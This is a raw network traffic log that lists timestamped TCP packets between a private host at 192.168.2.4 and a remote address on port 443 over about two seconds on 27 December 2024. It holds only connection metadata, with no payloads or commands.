Dec 27, 2024 10:22:04.692620993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.692651987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.692806959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.698179960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.698194027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.698278904 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.698307991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.698344946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.703975916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.703990936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.704056978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.704083920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.706171989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.709243059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.709258080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.709311962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.709331989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.709764004 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.714844942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.714859009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.714920044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.714946032 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.715629101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.719943047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.719955921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.720014095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.720033884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.720076084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.725620985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.725636005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.725713015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.725748062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.726265907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.888969898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.888987064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.889030933 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.889072895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.889091969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.889166117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.894042969 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.894058943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.894166946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.894181013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.894221067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.899719954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.899734974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.899806976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.899820089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.899889946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.905272007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.905328035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.905333042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.905344009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.905384064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.910645008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.910660982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.910738945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.910753965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.913428068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.916392088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.916408062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.916466951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.916480064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.918499947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.921349049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.921365976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.921433926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.921447039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.923738003 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.927150965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.927167892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.927238941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.927253008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.930191994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.090425014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.090445042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.090527058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.090596914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.093864918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.096141100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.096158028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.096251965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.096270084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.098159075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.101099968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.101114035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.101212025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.101227999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.102335930 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.106739044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.106751919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.106815100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.106831074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.110400915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.112194061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.112206936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.112270117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.112284899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.114132881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.117800951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.117818117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.117876053 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.117889881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.118206024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.123513937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.123532057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.123604059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.123619080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.124552965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.128490925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.128509045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.128586054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.128599882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.128741026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.291649103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.291666031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.291706085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.291749001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.291768074 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.291812897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.297389984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.297405005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.297487020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.297509909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.297605038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.302375078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.302387953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.302428961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.302452087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.302470922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.302875042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.308084011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.308098078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.308192015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.308224916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.308270931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.313395023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.313415051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.313493967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.313493967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.313523054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.313612938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.319046974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.319061041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.319128036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.319144964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.320122957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.324724913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.324762106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.324790001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.324804068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.324830055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.324846983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.329727888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.329744101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.329796076 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.329812050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.329860926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.329860926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.493030071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.493046999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.493129969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.493163109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.494668961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.498759031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.498775959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.498831987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.498840094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.502835035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.503658056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.503674984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.503726006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.503736973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.506127119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.509480000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.509497881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.509577036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.509591103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.510409117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.514697075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.514712095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.514795065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.514807940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.518156052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.520448923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.520463943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.520526886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.520545006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.522928953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.526074886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.526096106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.526144981 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.526155949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.526181936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.526201010 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.531088114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.531106949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.531147957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.531157017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.531183004 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.531202078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.694536924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.694567919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.694729090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.694740057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.694783926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.699645042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.699661970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.699724913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.699738026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.702887058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.705262899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.705279112 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.705338001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.705347061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.706899881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.711034060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.711060047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.711105108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.711117029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.711142063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.711158991 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.716357946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.716373920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.716425896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.716437101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.718815088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.721939087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.721955061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.722002983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.722011089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.722214937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.726952076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.726968050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.727030993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.727040052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.727051973 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.727077961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.732708931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.732729912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.732796907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.732809067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.732837915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.732855082 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.895961046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.895977974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.896040916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.896094084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.898065090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.901736021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.901756048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.901843071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.901875019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.901961088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.906780958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.906795979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.906864882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.906896114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.907984972 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.912333965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.912348986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.912390947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.912417889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.912435055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.912445068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.917917013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.917934895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.918001890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.918034077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.918210030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.923387051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.923413038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.923459053 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.923490047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.923506975 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.925230026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.929102898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.929119110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.929166079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:05.929193974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:05.929241896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.092721939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.092745066 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.092848063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.092905998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.094209909 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.097263098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.097279072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.097356081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.097383976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.098165035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.103038073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.103060007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.103132963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.103163004 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.106422901 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.107990026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.108006001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.108072042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.108097076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.110152960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.113759041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.113775015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.113842964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.113862991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.114419937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.119057894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.119075060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.119126081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.119143009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.122417927 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.124665976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.124687910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.124737978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.124756098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.124775887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.124794006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.130408049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.130425930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.130498886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.130518913 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.134155989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.294054985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.294079065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.294230938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.294270992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.294334888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.300148010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.300168037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.300278902 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.300312996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.302160978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.304608107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.304625034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.304704905 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.304733038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.306174994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:06.309678078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.309695005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:06.309771061 CET	49745	443	192.168.2.4	172.67.214.186
